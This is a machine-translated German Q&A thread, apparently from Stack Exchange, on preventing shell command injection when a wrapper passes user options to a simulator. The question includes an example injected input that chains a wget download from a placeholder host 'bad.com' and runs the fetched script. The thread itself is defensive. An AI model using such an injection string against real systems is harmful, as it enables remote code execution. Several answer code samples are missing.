Ich habe eine Wrapper-Anwendung, in der der Benutzer benutzerdefinierte Optionen angeben muss, die an einen Simulator übergeben werden sollen. Ich möchte jedoch sicherstellen, dass der Benutzer keine anderen Befehle über die Benutzeroptionen eingibt. Was ist der beste Weg, um dies zu erreichen?
Beispielsweise.
- Benutzer bietet:
-a -b
- Anwendung führt aus:
mysim --preset_opt -a -b
Ich möchte jedoch nicht, dass dies passiert:
- Benutzer bietet:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- Anwendung führt aus:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Derzeit denke ich, dass ich einfach jede von Benutzern bereitgestellte Option mit einfachen Anführungszeichen umgeben '
und alle von Benutzern bereitgestellten einfachen Anführungszeichen entfernen könnte, so dass der Befehl im letzten Beispiel harmlos wird:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Hinweis: Der mysim
Befehl wird als Teil eines Shell-Skripts in einem Docker / LXC-Container ausgeführt. Ich lasse Ubuntu laufen.
eval
, um die Anwendung auszuführen? Wenn nicht, sollte die Injektion nicht passieren:x="&& echo Doomed" ; echo $x
eval
. Ich rufe die ausführbare Dateimysim
in einem Shell-Skript auf. Ich sehe die Injektion, wenn ich einfach die Zeichenfolge der vom Benutzer bereitgestellten Optionen kopiere und am Ende desmysim
Befehls einfüge.-a -b
. Daher möchte ich sicherstellen, dass keine zusätzlichen Befehle in diese Zeichenfolge eingefügt werden.[a-zA-Z0-9 _-]
sieht nach einer ziemlich defensiven Wahl aus.Antworten:
Wenn Sie die Kontrolle über das Wrapper-Programm haben, stellen Sie sicher, dass es keine Subshell aufruft. Im Grunde besteht eine Anweisung zum Ausführen eines Programms aus dem vollständigen Pfad (absolut oder relativ zum aktuellen Verzeichnis) zur ausführbaren Datei und einer Liste von Zeichenfolgen, die als Argumente übergeben werden sollen. PATH-Lookup, Leerzeichen zwischen Argumenten, Anführungszeichen und Steueroperatoren werden von der Shell bereitgestellt. Keine Muschel, kein Schmerz.
Verwenden Sie beispielsweise mit einem Perl-Wrapper die Listenform von
exec
odersystem
. Rufen Sie in vielen Sprachen eine der Funktionenexec
oderexecXXX
(oder wie auchunix.exec
immer sie genannt werden) auf und nichtsystem
oderos.spawn
mitshell=False
oder wie auch immer.Wenn es sich bei dem Wrapper um ein Shell-Skript handelt,
"$@"
übergeben Sie die Argumente mit, zWenn Sie keine andere Wahl haben und das Wrapper-Programm eine Shell aufruft, müssen Sie die Argumente in Anführungszeichen setzen, bevor Sie sie an die Shell übergeben. Die einfache Möglichkeit, Argumente zu zitieren, besteht darin, Folgendes zu tun:
'
(einfaches Anführungszeichen) durch die vierstellige Zeichenfolge'\''
. (zBdon't
wirddon'\''t
)'
am Anfang jedes Arguments und auch am Ende jedes Arguments hinzu. (zB ausdon't
,don'\''t
wird'don'\''t'
)Wenn Sie dies in einem Shell-Wrapper tun müssen, finden Sie hier eine Möglichkeit.
(Leider
${VAR//PATTERN/REPLACEMENT}
erfordert Bashs Konstrukt, das hier nützlich sein sollte, ein eigenwilliges Zitieren, und ich glaube nicht, dass Sie es'\''
als Ersatztext erhalten können.)quelle
Sie können das Bash-
${VAR//PATTERN/REPLACEMENT}
Idiom verwenden, um ein einzelnes Anführungszeichen'
in umzuwandeln,'\''
indem Sie zuerst'\''
eine Variable (als Zwischenschritt) einfügen und diese Variable dann alsREPLACEMENT
Element im erwähnten Bash-Idiom erweitern.quelle
Sie können verwenden,
getopts
inbash
denen Sie die Argumente analysieren können, zB:quelle